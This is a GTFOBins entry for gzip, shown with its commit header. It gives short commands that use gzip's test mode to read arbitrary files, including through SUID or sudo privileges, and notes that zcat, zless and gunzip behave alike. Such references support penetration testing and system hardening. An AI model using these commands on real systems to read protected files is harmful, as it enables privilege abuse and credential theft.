GTFOBins.github.io/_gtfobins/gzip.md
Andrea Cardaci af562d63cb Clean up and add gzip description about aux utilities
As suggested in #176 by Kiran Ghimire (Cimihan123).
2021-03-02 17:49:45 +01:00

17 lines
478 B
Markdown

---
description: There are also a number of other utilities that rely on `gzip` under the hood, e.g., `zless`, `zcat`, `gunzip`, etc. Besides having similar features, they also allow privileged reads if `gzip` itself is SUID.
functions:
file-read:
- code: |
LFILE=file_to_read
gzip -f $LFILE -t
suid:
- code: |
LFILE=file_to_read
./gzip -f $LFILE -t
sudo:
- code: |
LFILE=file_to_read
sudo gzip -f $LFILE -t
---